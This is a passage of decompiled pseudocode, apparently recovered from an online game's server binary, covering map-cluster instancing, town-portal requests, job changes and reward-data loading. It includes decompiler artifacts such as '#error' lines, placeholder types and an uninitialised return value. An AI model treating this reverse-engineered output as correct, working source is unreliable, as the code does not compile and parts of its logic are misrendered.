FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::MapCluster::mc_CompName"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::MapCluster::mc_CompName"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)&v4->mc_MapIndex.n3_name[0] < *(_DWORD *)&key->mc_MapIndex.n3_name[0]; if ( *(_DWORD *)&v4->mc_MapIndex.n3_name[0] != *(_DWORD *)&key->mc_MapIndex.n3_name[0] || (v7 = *(_DWORD *)&key->mc_MapIndex.n3_name[4], v8 = *(_DWORD *)&v4->mc_MapIndex.n3_name[4], v5 = v8 < v7, v8 != v7) ) { v6 = v5 ? 1 : -1; } else { v9 = *(_DWORD *)&key->mc_MapIndex.n3_name[8]; v10 = *(_DWORD *)&v4->mc_MapIndex.n3_name[8]; if ( v9 <= v10 ) v6 = -(v9 < v10); else v6 = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapClusterManager::MapCluster::mc_CompName"); return v6; } //----- (0048C580) -------------------------------------------------------- bool __thiscall MapClusterManager::MapCluster::mc_GetLimitTime(MapClusterManager::MapCluster *this, unsigned int *rLimitTime, unsigned int RegisterNumber) { MapClusterManager::MapCluster *v3; // esi@1 unsigned int v4; // ecx@1 int v5; // edi@2 int v7; // eax@9 char *v8; // [sp-4h] [bp-24h]@7 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_GetLimitTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterNamager::MapCluster::mc_GetLimitTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( !LOWORD(v3->mc_MapNumber) ) { LABEL_7: v8 = "MapClusterNamager::MapCluster::mc_GetLimitTime"; LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v8); return 0; } v5 = v3->mc_MapNumber; while ( 1 ) { if ( v3->mc_Pointer >= v5 ) v3->mc_Pointer = 0; if ( v3->mc_Map[v3->mc_Pointer].RegisterNumber == RegisterNumber ) break; ++v3->mc_Pointer; ++v4; if ( v4 >= LOWORD(v3->mc_MapNumber) ) goto LABEL_7; } v7 = (int)((char *)v3 + 76 * v3->mc_Pointer); v8 = "MapClusterNamager::MapCluster::mc_GetLimitTime"; if ( !*(_BYTE *)(v7 + 40) ) goto LABEL_8; *rLimitTime = *(_DWORD *)(v7 + 44) - clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_GetLimitTime"); return 1; } //----- (0048C6A0) -------------------------------------------------------- char __thiscall MapClusterManager::MapCluster::mc_SetLimitItem(MapClusterManager::MapCluster *this, unsigned int unMiunteTime, unsigned int RegisterNumber) { MapClusterManager::MapCluster *v3; // esi@1 unsigned int v4; // edx@1 int v5; // ebp@2 int v6; // ecx@5 char result; // al@8 unsigned int v8; // edi@9 int v9; // ecx@9 unsigned int v10; // edx@9 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_SetLimitItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterNamager::MapCluster::mc_SetLimitItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( LOWORD(v3->mc_MapNumber) ) { v5 = v3->mc_MapNumber; while ( 1 ) { if ( v3->mc_Pointer >= v5 ) v3->mc_Pointer = 0; v6 = (int)((char *)v3 + 76 * v3->mc_Pointer); if ( *(_DWORD *)(v6 + 16) == RegisterNumber ) { if ( *(_BYTE *)(v6 + 40) ) break; } ++v3->mc_Pointer; ++v4; if ( v4 >= LOWORD(v3->mc_MapNumber) ) goto LABEL_8; } v8 = clockwatch.cw_CurrTick; v9 = (int)&v3->mc_Map[v3->mc_Pointer].LimitExpirationTime; v10 = (unsigned int)(600000 * unMiunteTime * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; v3->mc_Map[v3->mc_Pointer].LimitExpirationTime.m_TickInterval = v10; *(_DWORD *)v9 = v8 + v10; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_SetLimitItem"); result = 1; } else { LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_SetLimitItem"); result = 0; } return result; } //----- (0048C7E0) -------------------------------------------------------- #error "48C7E0: undefined or illegal type '#1265' (funcsize=136)" //----- (0048C9F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_FirstJobChange(void *this) { void *v1; // esi@1 int v2; // edi@1 int v3; // ST10_4@1 char *v4; // edi@2 ZoneBaseSession *v5; // eax@4 int v6; // eax@5 int v7; // esi@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 964); v3 = (*(int (**)(void))(**((_DWORD **)v1 + 964) + 60))(); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 48))(v2) != v3 ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4182; *((_WORD *)v4 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v4[8] = (*(int (**)(void))(**((_DWORD **)v1 + 964) + 60))(); v4[9] = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange : Packet Too Long", 10); } } v6 = (*(int (**)(void))(**((_DWORD **)v1 + 964) + 60))(); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange"); return v7; } //----- (0048CB30) -------------------------------------------------------- void __thiscall TownPortalData::TownPortalData(TownPortalData *this) { TownPortalData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->tpd_Data.baseclass_0); memset(&v1->tpd_Data.bdb_defaultblock, 0, 0x28u); HIWORD(v1->tpd_Data.bdb_defaultblock.Y) = 0; } //----- (0048CB50) -------------------------------------------------------- void __thiscall TownPortalData::tpd_Load(TownPortalData *this) { TownPortalData *v1; // esi@1 unsigned int v2; // ebx@1 CDataReader::HEAD *v3; // edx@1 int v4; // eax@1 int v5; // ecx@4 unsigned int v6; // ebp@4 void *v7; // edi@11 void *v8; // ebx@14 void *v9; // ebp@17 int v10; // edi@19 int m; // [sp+Ch] [bp-24h]@4 int k; // [sp+10h] [bp-20h]@1 int *v13; // [sp+14h] [bp-1Ch]@8 int number; // [sp+18h] [bp-18h]@1 int v15; // [sp+1Ch] [bp-14h]@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TownPortalData::tpd_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TownPortalData::tpd_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; BinaryDataBox::bdb_ReadData(&v1->tpd_Data, "../9Data/Hero/TownPortal.shn"); v3 = v1->tpd_Data.baseclass_0.baseclass_0.m_pHead; v4 = v3->nNumOfRecord; number = v3->nNumOfRecord; k = 0; if ( v4 - 1 > 0 ) { while ( 1 ) { v5 = v2 + 1; v6 = v2 + 1; v15 = v2 + 1; m = v2 + 1; if ( (signed int)(v2 + 1) < v4 ) { while ( 1 ) { v13 = (int *)(v6 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->tpd_Data.baseclass_0.baseclass_0, v6) : &v1->tpd_Data.bdb_defaultblock); v7 = v2 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->tpd_Data.baseclass_0.baseclass_0, v2) : &v1->tpd_Data.bdb_defaultblock; v8 = v2 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->tpd_Data.baseclass_0.baseclass_0, v2) : &v1->tpd_Data.bdb_defaultblock; v9 = v6 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->tpd_Data.baseclass_0.baseclass_0, v6) : &v1->tpd_Data.bdb_defaultblock; v10 = *(_BYTE *)v7; if ( *(_BYTE *)v8 == *(_BYTE *)v9 ) { AssertClass::ac_AssertFail(&shineassert, "TownPortalData::tpd_Load : duplicate index", v10, *(_BYTE *)v13); ShineExit("TownPortalData::tpd_Load"); } ++m; if ( m >= number ) break; v2 = k; v6 = m; } v4 = number; v5 = v15; } k = v5; if ( v5 >= v4 - 1 ) break; v2 = v5; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TownPortalData::tpd_Load"); } //----- (0048CCF0) -------------------------------------------------------- TownPortal *__thiscall TownPortalData::operator__(TownPortalData *this, char index) { TownPortalData *v2; // esi@1 unsigned int v3; // ebp@1 unsigned int v4; // edi@1 void *v5; // eax@3 TownPortal *result; // eax@7 void *v7; // esi@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TownPortalData::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TownPortalData::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 <= 0 ) { LABEL_7: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TownPortalData::operator []"); result = 0; } else { while ( 1 ) { v5 = v4 < v2->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v2->tpd_Data.baseclass_0.baseclass_0, v4) : &v2->tpd_Data.bdb_defaultblock; if ( *(_BYTE *)v5 == index ) break; ++v4; if ( (signed int)v4 >= (signed int)v3 ) goto LABEL_7; } if ( v4 < v2->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v2->tpd_Data.baseclass_0.baseclass_0, v4); else v7 = &v2->tpd_Data.bdb_defaultblock; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TownPortalData::operator []"); result = (TownPortal *)v7; } return result; } //----- (0048CE00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 TownPortal *v5; // edi@5 int v6; // edx@9 unsigned int coord; // [sp+10h] [bp-28h]@1 unsigned int v8; // [sp+14h] [bp-24h]@9 FunctionEntarance _; // [sp+18h] [bp-20h]@1 char mapname[4]; // [sp+1Ch] [bp-1Ch]@9 int v11; // [sp+20h] [bp-18h]@9 int v12; // [sp+24h] [bp-14h]@9 unsigned int v13; // [sp+28h] [bp-10h]@1 int v14; // [sp+34h] [bp-4h]@1 v4 = this; v13 = (unsigned int)&coord ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( !(_S11_17 & 1) ) { _S11_17 |= 1u; cmc_57.cmc_AllowMode = 70; atexit(_E12_21); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_57.cmc_AllowMode ) { v5 = TownPortalData::operator__(&townportaldata, *(_BYTE *)(netcmd + 2)); if ( v5 ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1236))(v4) >= v5->MinLevel ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6593); v12 = 0; v11 = 0; *(_DWORD *)mapname = 0; strncpy(mapname, v5->MapName, 0xCu); v6 = *(_DWORD *)v4; coord = v5->X; v8 = v5->Y; (*(void (__thiscall **)(void *, char *, unsigned int *))(v6 + 2192))(v4, mapname, &coord); } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6596); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6595); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6594); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"); __security_check_cookie((unsigned int)&coord ^ v13); } //----- (0048CFB0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, MapClusterManager::MapCluster *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); MapClusterManager::MapCluster::operator_(v3, (int)ele); return 1; } // 48CFC5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0048CFE0) -------------------------------------------------------- int __thiscall MapClusterManager::MapCluster::operator_(int this, int a2) { int result; // eax@1 int v3; // ebp@1 void *v4; // edx@1 signed int v5; // [sp+14h] [bp+4h]@1 result = this; v3 = a2; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); v4 = (void *)(this + 12); v5 = 512; do { memcpy(v4, (char *)v4 + v3 - this, 0x4Cu); v4 = (char *)v4 + 76; --v5; } while ( v5 ); *(_DWORD *)(this + 38924) = *(_DWORD *)(v3 + 38924); *(_DWORD *)(this + 38928) = *(_DWORD *)(v3 + 38928); return result; } //----- (0048D050) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, MapClusterManager::MapCluster *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); MapClusterManager::MapCluster::operator_(v3, (int)ele); return 1; } // 48D066: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0048D080) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, MapClusterManager::MapCluster *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MapClusterManager::MapCluster::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0048D0D0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, MapClusterManager::MapCluster *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MapClusterManager::MapCluster::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0048D120) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0048D170) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::_ClusterManager(MapClusterManager::ClusterManager *this) { MapClusterManager::ClusterManager *v1; // esi@1 char *v2; // ebx@1 signed int v3; // ebp@1 int v4; // edi@2 void *v5; // esi@5 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = (char *)this->Clusters; v3 = 50; do { v4 = *(_DWORD *)v2; if ( *(_DWORD *)v2 ) { _eh_vector_destructor_iterator_( (void *)(v4 + 12), 0x4Cu, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); operator delete((void *)v4); } v2 += 4; --v3; } while ( v3 ); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->cm_EmptyCheck); _eh_vector_destructor_iterator_( v1->cm_ClassChangeElfForest.mc_Map, 0x4Cu, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); _eh_vector_destructor_iterator_( v1->cm_ClassChangeGamble.mc_Map, 0x4Cu, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); _eh_vector_destructor_iterator_( v1->cm_ClassChangeRou.mc_Map, 0x4Cu, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); _eh_vector_destructor_iterator_( v1->cm_ClassChange.mc_Map, 0x4Cu, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v5 = v1->baseclass_0.l_Array; if ( v5 ) operator delete__(v5); } // 6495F8: using guessed type int (__stdcall *List_MapClusterManager__MapCluster____vftable_[3])(__int16 hnd); //----- (0048D290) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0048D3B0) -------------------------------------------------------- #1265 *__thiscall MapClusterManager::ClusterManager::cm_FindEmpty(MapClusterManager::ClusterManager *this, char *clientmapname) { List *v2; // esi@1 MapClusterManager::MapCluster *v3; // eax@1 #1265 *result; // eax@4 __int16 hnd; // [sp+Ch] [bp-982Ch]@1 FunctionEntarance _; // [sp+10h] [bp-9828h]@1 char key; // [sp+14h] [bp-9824h]@1 char ptr; // [sp+20h] [bp-9818h]@2 unsigned int v9; // [sp+9828h] [bp-10h]@1 int v10; // [sp+9834h] [bp-4h]@1 v2 = (List *)this; v9 = (unsigned int)&hnd ^ __security_cookie; _.fe_FunctionCode = "MapClusterManager::ClusterManager::cm_FindEmpty"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmpty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindEmpty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; MapClusterManager::MapCluster::MapCluster((MapClusterManager::MapCluster *)&key, clientmapname); LOBYTE(v10) = 1; v3 = List::l_Search( v2, MapClusterManager::MapCluster::mc_CompName, (unsigned __int16 *)&hnd, (MapClusterManager::MapCluster *)&key); if ( v3 ) { MapClusterManager::MapCluster::mc_FindEmpty(v3); LOBYTE(v10) = 0; _eh_vector_destructor_iterator_( &ptr, 0x4Cu, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmpty"); } else { LOBYTE(v10) = 0; _eh_vector_destructor_iterator_( &ptr, 0x4Cu, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmpty"); } __security_check_cookie((unsigned int)&hnd ^ v9); return result; } //----- (0048D510) -------------------------------------------------------- #error "48D510: undefined or illegal type '#1265' (funcsize=102)" //----- (0048D6B0) -------------------------------------------------------- #1265 *__stdcall ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon(char *mapname) { #1265 *v1; // eax@1 #1265 *v2; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = MapClusterManager::ClusterManager::cm_FindEmpty(&mapclustermanager, mapname); --funcallanalizer.fca_stackpoint; v2 = v1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon"); return v2; } //----- (0048D750) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::ClusterManager(MapClusterManager::ClusterManager *this) { MapClusterManager::ClusterManager *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x36u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChange, "Job1_Dn01"); MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChangeRou, "Rou"); MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChangeGamble, "Job2_Dn01"); MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChangeElfForest, "Job2_Dn02"); Metronome::Metronome(&v1->cm_EmptyCheck); memset(v1->Clusters, 0, sizeof(v1->Clusters)); v1->cm_EmptyCheck.m_NextTick = clockwatch.cw_CurrTick + 50; v1->cm_EmptyCheck.m_TickInterval = 50; } // 6495F8: using guessed type int (__stdcall *List_MapClusterManager__MapCluster____vftable_[3])(__int16 hnd); //----- (0048D820) -------------------------------------------------------- MIDRewardList *__thiscall MIDRewardDataBox::midrdb_GetRewardSetting(MIDRewardDataBox *this, Name3 sMapName) { unsigned __int16 v2; // di@1 int v3; // edx@1 MIDRewardList *v4; // ecx@2 int v5; // eax@3 MIDRewardList *result; // eax@7 unsigned int v7; // [sp+10h] [bp-4h]@1 v2 = this->midrdb_RewardCnt; v3 = 0; v7 = (unsigned int)&v7 ^ __security_cookie; if ( v2 ) { v4 = this->midrdb_pRewardList; while ( 1 ) { v5 = (int)&v4[(unsigned __int16)v3]; if ( *(_DWORD *)&v4[(unsigned __int16)v3].sMapName.n3_name[0] == *(_DWORD *)&sMapName ) { if ( *(_DWORD *)(v5 + 4) == *(_DWORD *)&sMapName.n3_name[4] && *(_DWORD *)(v5 + 8) == *(_DWORD *)&sMapName.n3_name[8] ) break; } ++v3; if ( (unsigned __int16)v3 >= v2 ) goto LABEL_7; } result = &v4[(unsigned __int16)v3]; } else { LABEL_7: result = 0; } return result; } //----- (0048D8A0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x20u, 0x25u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0048D950) -------------------------------------------------------- void __thiscall MIDRewardDataBox::MIDRewardDataBox(MIDRewardDataBox *this) { MIDRewardDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->midrdb_DataBox.baseclass_0); *(_DWORD *)&v1->midrdb_DataBox.bdb_defaultblock.PR_Inx[0] = 0; *(_DWORD *)&v1->midrdb_DataBox.bdb_defaultblock.PR_Inx[4] = 0; *(_DWORD *)&v1->midrdb_DataBox.bdb_defaultblock.PR_Inx[8] = 0; *(_DWORD *)&v1->midrdb_DataBox.bdb_defaultblock.PR_Inx[12] = 0; *(_DWORD *)&v1->midrdb_DataBox.bdb_defaultblock.PR_Inx[16] = 0; *(_DWORD *)&v1->midrdb_DataBox.bdb_defaultblock.PR_Inx[20] = 0; *(_DWORD *)&v1->midrdb_DataBox.bdb_defaultblock.PR_Inx[24] = 0; *(_DWORD *)&v1->midrdb_DataBox.bdb_defaultblock.PR_Inx[28] = 0; *(_DWORD *)&v1->midrdb_DataBox.bdb_defaultblock.PR_Grade = 0; HIBYTE(v1->midrdb_DataBox.bdb_defaultblock.PR_RewardRate) = 0; } //----- (0048D980) -------------------------------------------------------- void __thiscall MIDRewardDataBox::midrdb_Load(MIDRewardDataBox *this, Name4 *world) { this->midrdb_bIsRewardSetting = 0; this->midrdb_RewardCnt = 0; this->midrdb_pRewardList = 0; BinaryDataBox::bdb_ReadData(&this->midrdb_DataBox, "../9Data/Hero/PresentReward.shn"); } //----- (0048D9A0) -------------------------------------------------------- char __thiscall MIDRewardDataBox::midrdb_RewardSetting(MIDRewardDataBox *this, PROTO_NC_MID_MID_MAP_REWARD_CMD *pCmd) { PROTO_NC_MID_MID_MAP_REWARD_CMD *v2; // esi@1 MIDRewardDataBox *v3; // edi@1 char result; // al@3 void *v5; // eax@4 int v6; // esi@9 int v7; // ebp@9 int v8; // eax@9 unsigned int v9; // ebx@9 void *v10; // eax@11 void *v11; // eax@17 unsigned int v12; // ebx@17 void *v13; // esi@21 unsigned int nDataCnt; // [sp+8h] [bp-10h]@4 int nPresentRewardCnt; // [sp+Ch] [bp-Ch]@9 int nPresentRewardCnta; // [sp+Ch] [bp-Ch]@19 int i; // [sp+10h] [bp-8h]@6 const char *s1; // [sp+14h] [bp-4h]@19 v2 = pCmd; v3 = this; if ( !pCmd ) goto LABEL_31; if ( this->midrdb_bIsRewardSetting == 1 ) return 1; nDataCnt = this->midrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v5 = malloc(20 * pCmd->nMapCnt); v3->midrdb_pRewardList = (MIDRewardList *)v5; if ( v5 ) { v3->midrdb_RewardCnt = pCmd->nMapCnt; i = 0; if ( pCmd->nMapCnt ) { while ( 1 ) { v6 = (int)&v2[22 * (unsigned __int16)i]; v7 = (int)&v3->midrdb_pRewardList[(unsigned __int16)i]; *(_DWORD *)v7 = *(_DWORD *)(v6 + 